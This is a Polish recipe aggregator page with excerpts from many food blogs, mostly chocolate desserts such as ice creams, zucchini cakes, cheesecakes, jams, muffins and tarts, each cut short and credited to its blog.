Były pyszne!  Źródło: Moje Wypieki . Składniki na ok. 700 ml lodów: 300 ml śmietany kremówki 300 ml mleka 4 żółtka 80 g cukru 100 g dobrej jakości gorzkiej czekolady 60 g dobrej jakości mlecznej czekolady 1 łyżka ekstraktu waniliowego lub wódki (ja użyłam domowego ekstraktu, przepis w linku) Wykonanie: Do rondelka wlałam śmietanę, mleko i wsypałam cukier. Mocno podgrzałam(...)też nie możemy doprowadzić do zagotowania, bo mieszanka się zważy! Kiedy uzyskałam już konsystencję rzadkiego kisielu, rondel zestawiłam z ognia, wlałam ekstrakt waniliowy, wrzuciłam połamaną na kosteczki czekoladę i mieszałam do czasu jej rozpuszczenia. Zawartość rondelka schłodziłam najpierw w komorze zlewu wypełnionej zimną wodą, a następnie wstawiłam do lodówki na całą noc. Rano mocno schłodzoną mieszankę wlałam do maszyny

Blondynka Gotuje
Genialny dżem & Relacja Kraków. 173

Cukiniowy omlet owsiany; z malinami oraz truskawkowym dżemem z wanilią i białą czekoladą Nie mogłam się powstrzymać, by dłużej czekać z otworzeniem tego słoiczka. A teraz przygotujcie się psychicznie i nerwowo na dość długiego posta, mam nadzieję, że jakoś dotrwacie do końca ;)  Kraków powitał nas upałem i (bardzo) dużą ilością słońca, żeby nie powiedzieć, że za dużą. Tak bardzo(...)wyboru smaków, to i tak spacer tam(wcale nie taki krótki) opłacił się, bo te które były zdecydowanie zadowoliły nasze podniebienia i to jak,  u mnie: lawendowe/biała czekolada i marchewkowe  u D: truskawkowe z ananasem i... coś jeszcze xd potem jeszcze poleciał po mandarynkowe ^^ Były też gdzieś indziej w środku miasta, też całkiem dobre u mnie: liczi

More food, love and dreams
Brownie z cukinii z lodami kawowo-porzeczkowymi podane z angielskim porterem 219

Już Wam tłumaczę skąd takie połączenie. Zacznę od początku. Wszystko zaczęło się od piwa typu angielski porter, które to świetnie komponuje się z deserami kawowymi, piernikami i gorzką czekoladą. Jako, że zwykłe brownie to dla mnie nic odkrywczego postanowiłam wypróbować przepis, który już od dawna chodził mi po głowie i był tak absurdalny, iż musiałam go wypróbować(...)łyżki cukru 1 łyżka stewii 1 starte jabłko 2 jajka szczypta soli 1/2 łyżeczki proszku do pieczenia 1 łyżeczka przyprawy do piernika (można pominąć) 50 gram gorzekiej czekolady 77% 2 łyżki masła Jajka mieszamy z cukinią i jabłkiem. W drugiej misce mieszamy mąkę, kakao, proszek do pieczenia, cukier, stewie, sól i przyprawę do piernika. Zawartość jednej miski łączymy z zawartością

Mango Papaja
Czekoladowe Ciasto z cukinią 84

Czekoladowe Ciasto z cukinią Ciasto podobne trochę do ciasta marchewkowego, z tym równie wilgotne z tym że dzięki dodatkowi czekolady jest bardziej słodkie i chyba jeszcze lepsze. Ciasto pochodzi z tej  strony , dziękuję jest fantastyczne:) Składniki: 120 ml oleju 240 gram mąki 60 gram kakao 1 łyżeczka sody oczyszczonej 1 łyżeczka proszku do pieczenia 3 duże jajka szczypta soli(...)gram cukru pudru 1  łyżka kawy rozpuszczalnej 400 gram cukinii startej na dużych oczkach tabliczka czekolady ( u mnie mleczna,ale może też być gorzka) olejek rumowy W dużej misce mieszamy składniki suche, tj. kakao, mąkę, proszek, sodę, sól i kawę. W drugiej składniki mokre, czyli olej i jajka następnie dodaję cukier i stopniowo składniki suche, na koniec dodajemy cukinie

Słodka Kraina Wypieków
Sernikobrownie z wiśniami 138

Mocno czekoladowe wilgotne ciasto i masa serowa, a do tego wiśnie... czy może być coś lepszego?  Czekoladowy spód: 200 g gorzkiej czekolady 200 g masła 200 g cukru pudru 3 jajka 100 g mąki pszennej Czekoladę rozpuszczamy w kąpieli wodnej,ostawiamy do wystygnięcia. W miedzy czasie ucieramy masło z cukrem pudrem, dodajmy po jednym jajku i dokładnie mieszamy. Wlewamy(...)roztopioną czekoladę a na koniec przesiewamy mąkę. 3/4 ciasta wylewamy na blaszkę wyłożoną papierem do pieczenia. Masa serowa: 400 g twarogu trzykrotnie zmielonego ( u mnie taki z wiaderka) 100 g cukru pudru 2 jajka łyżeczka ekstraktu z wanilii lub ziarna z pół laski wanilii Dodatkowo: ok 150 g wiśni W misce ucieramy twaróg z cukrem pudrem, następnie dodajemy ekstrakt

Słodka Kraina Wypieków
Ciasto czekoladowo migdałowe z gruszkami 143

sprawdzamy czy są miękkie - powinien łatwo wchodzić, ale nie należy ich rozgotować, gdyż będą się jeszcze piekły. Wyjmujemy z wody i odstawiamy do wystudzenia. Ciasto czekoladowe: 150 g gorzkiej czekolady 70% 120 g masła 50 ml esencji wanilinowej (można zastąpić likierem lub innym alkoholem) 120 g cukru 4 jajka 100 g zmielonych migdałów 30 g mąki pszennej 1 łyżka kakao(...)łyżeczka proszku do pieczenia Czekoladę łamiemy na kawałki, wlewamy esencję waniliową i rozpuszczamy w kąpieli wodnej - odstawiamy do wystudzenia. Masło ucieramy na gładką masę, dodajemy cukier oraz po jednym jajku cały czas ucierając. Wlewamy czekoladę (może być jeszcze ciepła), następnie mąkę, migdały, kakao i proszek do pieczenia.  Ciasto przekładamy do wysmarowanej i wyłożonej papierem do pieczenia tortownicy. Wyrównujemy

Słodka Kraina Wypieków
Milky Way 202

Robiłam to ciasto po raz pierwszy,ale już wiem że będzie to jedno z ulubionych ciast. Fantastyczny mleczny krem, kakaowy biszkopt i czekolada, czy trzeba dodawać coś jeszcze?? Biszkopt: 8 jajek 1 szklanka cukru 1 szklanka mąki pszennej 1 łyżeczka proszku do pieczenia 4 łyżki kakao Z połowy składników robimy biszkopt.  Białka oddzielamy od żółtek, ubijamy na sztywno, dodajemy(...)zrażajcie się jeśli będzie wyglądało na  "zważone"), następnie dodajemy mleko w proszku i całość ucieramy. Masę wykładamy na pierwszy spód i przykrywamy drugim plackiem. Polewa czekoladowa: 100 g czekolady 4 łyżki mleka Mleko oraz czekoladę rozpuszczamy w kąpieli wodnej, polewamy wierzch ciasta. Odstawiamy na min 3 godziny do lodówki. Smacznego

Słodka Kraina Wypieków
Sernik na zimno 110

Sernik na zimno Składniki 150 g herbatników 1 kg   sera twarogowego 3 łyżki kakao 50 gr masła ½ szklanki cukru Gorzka czekolada 5 płaskich łyżek żelatyny Konfitura czereśniowa Tortownica o średnicy około 24 cm Sposób przygotowania Herbatniki kruszymy w blenderze, dodajemy łyżkę kakao i masło, a następnie układamy na spodzie tortownicy mocno przyciskając szklanką. Tortownicę wstawiamy do piekarnika nagrzanego(...)układamy środkową warstwę. Czekamy aż warstwa stężeje. W trzecim naczyniu  mieszamy żelatynę z ½ części cukru, dodajemy 1/3 sera twarogowego, 30 g startej na grubych oczkach tarki gorzkiej czekolady, zostawiając niewielką część do dekoracji, ponownie mieszamy (ważne: całość musi być już schłodzona, inaczej czekolada roztopi się w twarogowej masie), układamy na ostatniej warstwie.  Całość posypujemy wiórkami czekoladowymi i wstawiamy

Miód i pieprz
Dżem truskawkowy z gorzką czekoladą 132

Dżem truskawkowy z gorzką czekoladą Składniki 1 kg truskawek 100 g gorzkiej czekolady 250 g cukru Żel fix w ilości na 1 kg owoców Sposób przygotowania Truskawki myjemy, przecinamy na pół lub na ćwiartki i wrzucamy do garnka. Dodajemy cukier i żel fix. Po zagotowaniu trzymamy na palniku jeszcze 3-5 minut Zdejmujemy garnek z ognia i dodajemy pokruszone kawałki(...)czekolady. Jeszcze gorący dżem wkładamy do wyparzonych słoików, zakręcamy nakrętki i układamy słoiki do góry dnem, zostawiając je na 12 godzin.  Następnie sprawdzamy szczelność zamknięcia i wstawiamy słoiki do spiżarki, lub spożywamy z dodatkiem placków, naleśników lub gofrów

Miód i pieprz
lody straciatella 115

sierpniowy skwar zrozumie, skąd wziął się pomysł aby własnie teraz wykonać ten przepis składniki 500 ml słodkiej smietany 30% 150 g cukru 6 żółtek jaj 100 g gorzkiej czekolady z jak najwyzszą zawartośną kakaowej masy sposób wykonania Schłodzoną śmietanę wlewamy do misy i ubijamy, do drugiej misy wrzucamy żółtka jaj i dodajemy cukier. Misę ustawiamy na garnku z wodą(...)chłodne miejsce. W czasie schładzania masę kilkukrotnie mieszamy, a następnie wkładamy na godzinę do zamrażarki. Po godzinie masę wyjmujmy i dodajemy do niej posiekaną lub startą na tarce gorzką czekoladę (im wyższa zawartość kakao tym lepiej, ja używam czekolady własnego wyrobu,  która nie jest słodzona), mieszamy i ponownie wkładamy do zamrażarki.  Lody schładzamy w zamrażalniku przez

Miód i pieprz
puszysty sernik z 3 składników 1489

Sernik w wersji mini ale warto było go wypróbować. Jest puszysty i delikatny. składniki 150 g serka (ja użyłam domowego twarogu, który zmiksowałam na gładką konsystencję) 120 g białej czekolady 3 jajka wykonanie: Piekarnik rozgrzewamy do 170 st. C. Czekoladę roztapiamy w kąpieli wodnej. Białka ubijamy na sztywną pianę i odstawiamy do lodówki. Do żółtek dodajemy rozpuszczoną czekoladę i dokładnie

Domowy Smak Jedzenia
Semifreddo porzeczkowo-kokosowe z polewą owocowo-czekoladową 158

czerwonej porzeczki 100 g cukru trzcinowego brązowego 3 łyżki cukru pudru 100 ml zimnej wody 1/2 litra kremowej śmietanki 100 ml mleczka kokosowego Sos czekoladowo-owocowy 10 dag mlecznej czekolady 1/2 szklanki soku z czerwonej porzeczki 150 ml śmietanki kremowej 2 łyżki cukru pudru czerwona porzeczka do dekoracji Wykonanie deseru: Semifreddo: Wodę z cukrem gotujemy ,wsypujemy owoce czerwonej porzeczki, gotujemy(...)folią kokilek ceramicznych na , wstawić do zamrażarki na co najmniej 5 godzin. Polewa; Sok z czerwonej porzeczki podgrzewamy z cukrem pudrem i śmietanką.  Zestawiamy z ognia, dodajemy połamaną czekoladę , czekamy chwilę aż czekolada zacznie się rozpuszczać wtedy dokładnie mieszamy.  Zmrożony deser wyjmujemy delikatnie z foremek, układamy na talerzykach , polewamy sosem czekoladowym, dekorujemy owocami, podajemy od razu. Smacznego

Wanilia i Kardamon
Mini Pavlova 127

konfitury z malin – w sezonie świeże owoce; maliny można zastąpić czarną porzeczką – te 2 owoce najlepiej komponują się z słodką bezą 50-80 g gorzkiej czekolady Wykonanie: Białka ubić z solą; gdy piana zacznie sztywnieć dodawać cukier partiami (nie wolno od razu całego!!!). Można dodać ocet/ sok z cytryny i skrobię – osobiście przyznaję, że nie dodaję nigdy(...)ubijamy na sztywno (można dodać odrobinę cukru pudru – ale beza jest już i tak słodka). Wykładamy na wystudzone bezy. Na kremówce układamy konfiturę lub świeże owoce. Posypujemy startą czekoladą. Jeśli bezy chcemy podać dopiero następnego dnia, należy dopiero przed podaniem udekorować je bitą śmietaną – inaczej rozmiękną i zrobią się z nich „kapcie”.     kremówka

Pociąg Do Kuchni
Ciasto czekoladowe z cukinią 116

szkl gęstej śmietany (u mnie 18%) lub jogurtu naturalnego   300 g mąki pszennej   3 czubate łyżki kakao   35 dag cukini bez skórki   60 g czekolady (u mnie mleczna z orzechami)   1. Masło zmiksować na puch, cały czas miksując dodawać po trochu olej, a następnie kolejno cukier, ekstrakt waniliowy, sodę, proszek do pieczenia, sól, jajka, śmietanę(...)mąkę i kakao. 2. Cukinię zetrzeć na tartce o dużych oczkach, czekoladę posiekać. Dodać do ciasta i wymieszać. 3. Formę wyłożyć papierem do pieczenia, wlać ciasto, wyrównać. Piec do suchego patyczka ok 50-55 minut w 160*C. Można polać polewą czekoladową - ja rozpuściłam pozostałe 40 g czekolady i polałam nią ciasto, a dodatkowo posypałam cukrem pudrem. Inspiracja: Moje Wypieki

Kto ugości moich gości?
Tartaletki z crème pâtissière i malinami 130

uwierzcie mi, komplement z jego ust to najwyższe wyróżnienie!  Krem wyszedł bardzo dobry. W połączeniu z kakaowym kruchym ciastem i pysznymi malinami wychodzi doskonały deser. Polecam szczególnie miłośnikom czekolady :) Składniki: CIASTO: 90g zimnego masła 100g cukru pudru 180g mąki 1 jajko szczypta soli 1 łyżka kakao KREM: 300ml mleka 3 żółtka 1 łyżka mąki pszennej 1 łyżka mąki ziemniaczanej(...)100g cukru 100g gorzkiej czekolady DODATKOWO: dowolne owoce i listki mięty Przygotowanie: CIASTO: Wszystkie składniki ciasta zagnieść szybko, owinąć folią spożywczą i schłodzić w lodówce minimum godzinę.  Zimne ciasto rozwałkować, wycinać kółka, wylepić 6 foremek na tartaletki wysmarowane wcześniej masłem i wysypane mąką. Piec w 170'C 10-15 minut. Wystudzić na kratce.  KREM: Mleko zagotować. Kiedy zawrze

Cakes By Kejt
Babeczki bananowe z gorzką czekoladą. 137

jaki pyszny przepis znalazłam. Przepis ten pochodzi z bloga : http://zaciszekuchenne.blogspot.com Składniki: suche: 1,5 szklanki mąki, pół łyżeczki sody, 2 łyżeczki proszku do pieczenia, pół tabliczki gorzkiej czekolady, mokre : 2 jajka, pół szklanki oleju, pół szklanki jogurtu lub maślanki, pół szklanki cukru, cukier waniliowy, 2-3 rozgniecione dojrzałe banany. Przygotowanie: Czekoladę zetrzeć na tarce. Wymieszać w jednej misce(...)suche składniki, dodając na końcu czekoladę.   W drugiej, nieco większej misce wymieszać mokre składniki. Dodać do nich rozgniecione widelcem banany. Połączyć suche składniki z mokrymi i dobrze wymieszać. Przełożyć ciasto do papilotek umieszczonych w formie do muffinek. Piec w temp.180 stopni ok.20 -25 min. Kiedy ostygną oprószyć cukrem pudrem

Motylkowa Kuchnia
Dżem czekoladowy z wiśniami i bananami 146

zrobienie takiego czekodżemu nie jest problemem. Składniki : 80 dag dojrzałych bananów 30 dag wydrylowanych wiśni łyżka, dwie soku z cytryny 45 dag brązowego cukru 2 goździki 15 dag gorzkiej czekolady min. 70 % kakao 60 ml likieru amaretto Przygotowanie : Obrane banany kroimy w plasterki ( skrapiamy je sokiem z cytryny ), a wydrylowane wiśnie wrzucamy do garnka, wlewamy szklanką letniej wody i zasypujemy(...)cukrem- odstawiamy na 1 godz. Po tym czasie dokładamy goździki i stawiamy na małym ogniu i zaczynamy ogrzewać, często mieszając Od chwili zawrzenia gotujemy 5 min., dokładamy pokruszoną czekoladę i mieszamy do rozpuszczenia czekolady, na koniec wlewamy likier Wyciągamy goździki, dżem przekładamy do idealnie czystych, suchych słoików, zakęcamy i przykrywamy grubym kocem do wystudzenia. Moje uwagi : Nie dodałam likieru tylko

Proste Potrawy
Tarta z owocami leśnymi 183

Tarta, w której łączą się różne smaki: kakaowy spód z lekko kwaśnym owocowym wnętrzem, a do tego słodka polewa z białej czekolady. Coś w sam raz dla głodnych wrażeń ;-) Korzystałam z formy do tarty o średnicy 30 cm. SKŁADNIKI Na ciasto kruche: 240 g mąki tortowej 30 g kakao 130 g masła 80 g cukru trzcinowego (jeżeli nie posiadacie(...)łyżka mąki ziemniaczanej 1 opakowanie budyniu waniliowego z cukrem 3 białka szczypta soli 3 łyżki cukru pudru 300 g żurawiny 200 g jagód 200 g jeżyn 100 g białej czekolady WYKONANIE Masło pokroić nożem na mniejsze kawałki. Do miski lub na stolnicę wsypać mąkę, kakao, dodać masło, żółtka, cukier i wodę, zagnieść szybko ciasto (do uzyskania jednolitej konsystencji, w razie

Passions hobbies life
Krówkowy sernik 170

Masa serowa: 3 jajka 100 g cukru 20 g masła 1,5 łyżki mąki pszennej 600 g twarogu z wiaderka 120 g kajmakowej masy krówkowej Polewa: 150 g mlecznej czekolady 100 g cukierków ,,krówki” Spód: Do misy miksera wsypujemy mąkę, kakao, cukier, żółtko, masło i śmietanę. Wszystko mieszamy do utworzenia się grubej kruszonki. Wklepujemy ją delikatnie na dno tortownicy wysmarowanej(...)Sernik pieczemy w nagrzanym do 160*C (funkcja góra-dół) przez 60-65 minut. Po tym czasie wyłączamy piekarnik i trzymamy w nim sernik jeszcze przez 30 minut. Polewa: Czekoladę rozpuszczamy w kąpieli wodnej. Na serniku układamy pokrojone cukierki krówki. Polewamy fantazyjnie ciasto czekoladą

VioletoweKucharzenie
Muffinki czekoladowo - orzechowe 129

maki 1 szklanka cukru 4 jajka 1/2 kostki masła cukier waniliowy 1 szklanka mleka 2 łyżeczki proszku do pieczenia 10 dag orzechów włoskich 2 łyżki gorzkiego kakao 1/2 tabliczki czekolady mlecznej z orzechami Przygotowanie: Rozpuścić masło, orzechy i czekoladę posiekać. Mąkę przesiać z proszkiem do pieczenia, kakao, cukrem waniliowym, dodać orzechy i czekoladę. Jajka ubić z cukrem na puch

Cakes By Kejt
Gofry czekoladowe posypane cukrem pudrem . 148

dawno nie było gofrów , więc czas dzisiaj zrobić. Zamierzam dodać płynną czekoladę , będą typowo czekoladowe. GOFRY CZEKOLADOWE - składniki mąka pszenna 500 g czekolada mleczna 200 g  30 g ksylitolu łyżeczka proszku do pieczenia mleko 500 ml margaryna 100 g jaja 4 szt   GOFRY CZEKOLADOWE -wykonanie  Miksujemy jaja z ksyltolem na puch ( masa nam się potraja jajeczna). margarynę(...)czekoladę rozpuszczamy razem ( chłodną wlewamy do masy jajecznej ) Przesiewamy mąkę z proszkiem do pieczenia i dodajemy do masy teraz już czekoladowej. Całość miksujemy przez chwilkę. Gofry wychodzą bardzo smaczne. Można posypać cukrem pudrem po ostudzeniu

Różowa kuchnia
Muffiny z płatkami róży w cukrze i czekoladą 140

Muffiny z płatkami róży w cukrze i czekoladą Składniki: - 2 szklanki mąki pszennej - 1/2 szklanki cukru - 1/2 szklanki oleju rzepakowego - 1 szklanka mleka - 2 jajka - 1/2 łyżeczki sody oczyszczonej - 1 łyżeczka proszku do pieczenia   nadzienie: - płatki róży w cukrze (u mnie Polska Róża)- gorzka czekolada Forma: blacha od piekarnika Przygotowanie: W jednej misce mieszam ze sobą suche składniki(...)suchych dodaję te płynne i mieszam wszystko razem. Ciasto przelewam do papilotek. Łyżka ciasto, na to płatki róży w cukrze i znów łyżka ciasta. Na wierzch wtykam kostkę czekolady. Muffinki układam na blasze wyłożonej papierem do pieczenia i wkładam do nagrzanego piekarnika.   Temperatura piekarnika: 190 °C Czas pieczenia: około 20 minut , do suchego patyczka (Źródło przepisu: Makapako + modyfikacje

Kuchnia co dnia
Muffinki kefirowe ze śliwkami i czekoladą 190

Muffinki kefirowe ze śliwkami i czekoladą Składniki: ciasto: - 3 szklanki mąki pszennej - 1 szklanka cukru - 3 łyżeczki proszku do pieczenia - 1 cukier waniliowy - 3 jajka - 1/2 szklanki oleju rzepakowego - 1 duży kefir naturalny dodatki: - posypka - Maczek niebieski - posypka - Perełki ecru - śliwki - gorzka czekolada - ubita śmietanka 30% z cukrem pudrem - kruszonka (margaryna+cukier puder+mąka) Forma:  blacha od piekarnika Przygotowanie(...)Ciasto przygotowuję według przepisu  Ciasto kefirowe z czereśniami . Ciasto przekładam do papilotek. Jedna łyżka ciasta, na to połówka śliwki bez pestki, znowu łyżka ciasta. Do części wtykam kostkę czekolady, niektóre obsypuję przygotowaną kruszonką. Przekładam wszystkie na blachę wyłożoną papierem do pieczenia i wkładam do nagrzanego piekarnika.   Temperatura piekarnika: 180 °C Czas pieczenia: około 45 minut Gdy ostygną, dekoruję

Kuchnia co dnia
Ciastko mocno czekoladowe z suszonymi wiśniami i orzechami włoskimi 121

Chodziła za mną ochota na czekoladowe ciasto.  Składniki: 200 gram czarnej czekolady 6 jajek szklanka trzcinowego kostka masła garść suszonych wiśni garść prażonych orzechów włoskich kakao do posypania wierzchu 100 gram mąki kieliszek wiśniówki listki melisy Przygotowanie: Rozpuść czekoladę z masłem w kąpieli wodnej. Lekko wystudź. Żółtka oddziel od białek(...)żółtek dodaj cukier i ubijaj na biały puch. Białka ubij na sztywno. Do żółtek teraz dodaj czekoladę z masłem. Wymieszaj. Potem mąkę a na końcu ubitą pianę z białek  Kiedy ciasto będzie jednolite wlej wiśniówkę, pokrojone suszone wiśnie i posiekane prażone orzechy włoskie. Wymieszaj. Wylej

AZgotuj!
Waniliowo-czekoladowe ciasto kręcone 125

warzącą wodę. Wykładaj do formy wysmarowanej masłem. Najpierw waniliową część, potem czekoladową. Piecz 60 minut w 180 stopniach.  Polewa z prawdziwej czekolady: 60 ml kremówki 70 gr gorzkiej czekolady szczypta soli 50 gr masła Kremówkę podgrzej ale nie dopuść do zagotowania. Wrzuć połamaną czekoladę. Wymieszaj aż do rozpuszczenia. Teraz dodaj

AZgotuj!
Śniadanie z czekoladowym twarożkiem 127

Ostatnio szaleję z serem twarogowym i robię pasty do kanapek. Na śniadanie. To druga na blogu, ale będzie więcej. Składniki: ser biały chudy  - opakowanie 4 kostki czekolady gorzkiej 70% ( podaję cztery ale jest to ta duża kostka, płaska, w mniejszych to jakiej 8 kosteczek) 1 łyżka wiórków kokosowych skórka z pomarańczy ewentualnie miód Rozpuść czekoladę w kąpieli(...)wodnej, dodaj ser i resztę składników. Wymieszaj składniki na jednolita masę. Fajne jest to, że czekolada szybko zastyga i tworzy się świetna konsystencja

AZgotuj!
Galaretki z mrożonych wiśni 134

Galaretki z musu wiśniowego pokropione białą czekoladą:) U Sylwii na blogu lemoncurdsylvii widziałam truskawkowe galaretki. Tak mnie zachwyciły, że postanowiłam zrobić wiśniowe. Natychmiast wstałam od monitora, popędziłam do lodówki i zaczęłam działać.  Takiego zrywu jeszcze nie miałam.  opakowanie mrożonych wiśni szklanka wody 3 łyżki cukru żelatyna  kilka kostek białej i gorzkiej czekolady Wiśnie włożyłam do garnka, zalałam(...)Dałam prawie całą żelatynę, żeby była "tempa". Potem włożyłam do lodówki.  Kiedy mocno się ścięła pocięłam na kosteczki oraz wycinałam księżyce foremką od ciastek. Położyłam na kratce. Rozpuściłam czekoladę białą w kąpieli wodnej i lekko przestudzoną zaczęłam "malować" galaretki

AZgotuj!
Ciasto cytrynowo-limonkowe ( ciasto bezglutenowe) 125

gram mielonych migdałów 50 gram mielonych orzechów nerkowca 2 płaskie łyżeczki proszku do pieczenia bezglutenowego 2/3 szklanki xylitolu 4 duże łyżki mąki ryżowej z pełnoziarnistego  ryżu  czekolada limonkowa do fontann limonka - lub cukier puder cukier - woda- do syropu - opcjonalnie Ugotuj cytryny na miękko, odlej wodę, wystudź. Przekrój, wyjmuj pestki i zmiksuj na pure. Jaja ubij z xylitolem, dodaj(...)Dodaj mąkę ryżowe i zmiksowane cytryny. Przelej masę do tortownicy ( 23 cm)  wysmarowanej masłem i oprószonej kaszą kukurydzianą. Piecz w 180 stopniach 45 minut . Po wystudzeniu polej rozpuszczoną czekoladą. W rondlu ugotuj syrop  z cukrem i kilka minut gotuj w nim plasterki limonki. Nie musisz polewać ciasta czekolada, wystarczy cukier puder. Ciasto jest wilgotne w środku, dla podkreślenia

AZgotuj!
Pikantna zupa z czarnej fasoli z gorzką czekoladą 134

Kiedy przeczytałam o wartościach odżywczych czarnej fasoli od razu chciałam zrobić z niej zupę krem. Tak sobie ją wyobraziłam. Dodałam gorzką czekoladę i to zdecydowanie moje smaki. Wyrafinowane. Ciekawe. Zaskakujące. Podałam ją z kosteczkami dyni i awokado. Myślę, że krewetki byłyby świetne. 250 gram czarnej fasoli 8 kosteczek czekolady gorzkiej Wedel bulion warzywny 1 papryczka chili  czosnek kosteczka dyni(...)dodaj bulion warzywny i gotuj. Pod koniec gotowania wciśnij czosnek i pokrojoną papryczkę chili.  Na koniec dodaj awokado, pamiętając o pozostawieniu kilku cząstek do przybrania. Zmiksuj zupę. Dodaj czekoladę i mieszaj żeby kosteczki rozpuściły się w gorącym kremie. Podawaj natychmiast z obgotowaną dynią i cząstką awokado.  Jeśli masz krewetki - podaj na wierzch

AZgotuj!
Tort Czekoladowy 327

telefonem komórkowym w późnych godzinach nocnych. Składniki:     Biszkopt - 5 jajek - szklanka maki tortowej - 2 łyżeczki proszku do pieczenia - 3/4 szklanki cukru - 2 łyżki kakao Masa - tabliczka gorzkiej czekolady - 500 ml śmietanki kremówki 36% - 500 ml serka mascarpone - 2 łyżki kakao - łyżka cukru pudru - 2 śmietan fixy - słoiczek konfitury z czarnej porzeczki - opakowanie kolorowych  lentilek - 12-13 wafelków(...)wystygnie należy go przekroić na dwa - trzy placki. Jeśli stwierdzimy, że biszkopt jest za niski  ( dzielimy go na pół ) i pieczemy kolejny z połowy składników.  Masa: tarkujemy czekoladę na na "dużych oczkach".  Śmietankę ubijamy mikserem, dodajemy cukier i kakao. Pod koniec ubijania dodajemy śmietan fixy i po łyżce serka mascarpone. Dodajemy potarkowaną czekoladę. Układamy warstwami. Biszkopt (nasączony

Pan i Pani Smith w kuchni
Ciasto czekoladowe 156

wolny czas staramy się spędzać na świeżym powietrzu. To szybkie w przygotowaniu ciasto, idealnie nadaje się na przyjęcie w ogrodzie. Ciasto jest bardzo puszyste i smaczne. Składniki: - 220g mlecznej czekolady - 0,5 szklanki cukru pudru - 250g margaryny Kasi - łyżka kakao - 1,5 szklanki mąki tortowej - 7 jajek - 2 łyżeczki proszku do pieczenia  Polewa: - pół kostki margaryny - pół szklanka cukru(...)pudru - 3 łyżki kakao Sposób przygotowania: Margarynę rozpuszczamy w garnku. Dodajemy czekoladę i kakao. Stale mieszamy.  Odstawiamy do przestygnięcia. Jajka miksujemy razem z cukrem pudrem przez 2 minuty. Po tym czasie dodajemy mąkę wymieszaną z proszkiem do pieczenia i rozpuszczoną czekoladę. Całość miksujemy. Masę wylewamy na blachę  (wyłożoną papierem do pieczenia) Pieczemy przez 30 - 35 minut

Pan i Pani Smith w kuchni
Kawowa tarta z truskawkami i mascarpone 145

żadnych dodatków, przychodzi czas na kombinacje :) Chciałam zrobić coś w rodzaju tarty inspirowanej tiramisu, kawowy spód, krem z mascarpone, szkoda, że zapomniałam na koniec posypać kakao. Ratowałam się czekoladą z młynka. Nie jest to dietetyczny deser, nadaje się tylko na specjalne okazje :)). Przepis na spód tej tarty widziałam wiele razy w tv, książkach, klasyczne proporcje 300 g mąki/200(...)łyżki cukru pudru - kilka kropel ekstraktu pomarańczowej (opcjonalnie) - 1 jajko Mascarpone utrzyj z pozostałymi składnikami na gładką masę. Wyłóż nim ostudzoną tartę. Do ozdoby: - umyte i odszypułkowane truskawki** - kakao/ czekolada z młynka Tartę posyp kakao lub czekoladą z młynka. Truskawki przekrój na pół i ułóż je w ładny wzór na tarcie lub posyp w stylu artystycznego nieładu ;). Możesz dodatkowo przyozdobić

Corner With Recipes
Mocno czekoladowe lody domowe 120

Ostatnim razem przygotowałam lody śmietankowe z kawałkami czekolady mlecznej i gorzkiej – tym razem postanowiłam przygotować mocno czekoladowe lody domowe oczywiście bez użycia maszynki czy konieczności mieszania w trakcie mrożenia. Składniki na: Mocno czekoladowe lody domowe 500ml śmietany kremówki około 150g cukru pudru 3 jajka tabliczka czekolady gorzkiej minimum 70% tabliczka czekolady mlecznej jedna łyżka […] The post Mocno czekoladowe

Magiczny Garnek
MOCNO CIASTO CZEKOLADOWE Z CZEREŚNIAMI 167

kubki smakowe mówią:YEEEES :)))  Składniki: (u mnie forma 20x20cm z wysokim brzegiem) 200 g mi ękkiego masła 3 szklanki mąki 1 szklanka cukru 3 całe jajka 100 g czekolady deserowej 6 łyżek mleka 2 łyżki kakao 2 łyżeczki proszku do pieczenia dodatkowo : ok 400 g wydrylowanych czereśni Wykonanie:  Wszystkie składniki przygotowujemy wcześniej, aby miały temperaturę pokojową. Czekoladę rozpuszczamy(...)puszystą masę. Cały czas ubijać i dodając po jednym jajku. Następnie porcjami dodajemy mąkę wymieszaną z kakao i proszkiem do pieczenia oraz mleko. Na koniec dodajemy przestudzoną rozpuszczoną czekoladę. Foremkę natłuścić i posypać mąką lub tartą bułką. Wyłożyć połowę masy. Na nią połowę wydrylowanych czereśni. Na czereśnie wykładamy resztę ciasta, a na nie pozostałe czereśnie. Ciasto wstawiamy do piekarnika nagrzanego

Walijskie Pichcenie
Muffinki bezglutenowe dla miłośników czekolady 137

grudniowy, przedświąteczny. Trochę żałuję, że nie jest odrobinę biało, bo kolejny rok z rzędu zapowiada się mało zimowy na święta... A teraz do rzeczy - przepis :) Muffinki bezglutenowe dla miłośników czekolady Składniki na 12 sztuk: 1 i 3/4 szklanki mąki kukurydzianej 1/2 łyżeczki sody spożywczej 1/2 szklanki kakao 1/2 szklanki ksylitolu(lub cukru) 1/2 szklanki orzechów mielonych włoskich(...)posiekanej czekolady gorzkiej 1/2 szklanki oleju rzepakowego 2 jajka 1 szklanka mleka Jajka ubić w misce z cukrem na puszystą masę(ok. 2-3 minuty) Wlać olej i szybko wymieszać. Do masy dodać zmieszaną wcześniej mąkę kukurydzianą. Całość zmiksować. Stopniowo dodawać mleko. Kakao, orzechy i posiekaną czekoladę umieścić w misce i połączyć ze sobą. Wsypać do ciasta i dokładnie zmiksować

FitKot
Cake pops - wypiekane ciastka na patyku 165

mąki 80 g cukru łyżeczka proszku do pieczenia 120 ml wody 2 łyżki oleju łyżka octu balsamicznego cukier puder / gorzka czekolada posypki Piekarnik nagrzać do 180  °C  .  Wymieszać suche składniki, dodać mokre i zmiksować. Silikonową formę natłuścić olejem w sprayu. Każde wgłębienie wypełnić masą do 3/4 wysokości. Ciasto wlewamy do foremek bez dziurek ;) i przykrywamy drugą częścią(...)dziurkami. Pieczemy ok 20 min. Po upieczeniu i wystudzeniu ciasteczek, zanurzyć patyczek do 1/4 wysokości w rozpuszczonej czekoladzie i wbić w ciasteczko. Zostawić do zastygnięcia.  Gotowe cake pops zanurzać w lukrze lub rozpuszczonej czekoladzie i dowolnie dekorować. Przepis:  Smakołyki Alergika

Atlas Smaków
Mazurek z orzechami laskowymi i czekoladą 134

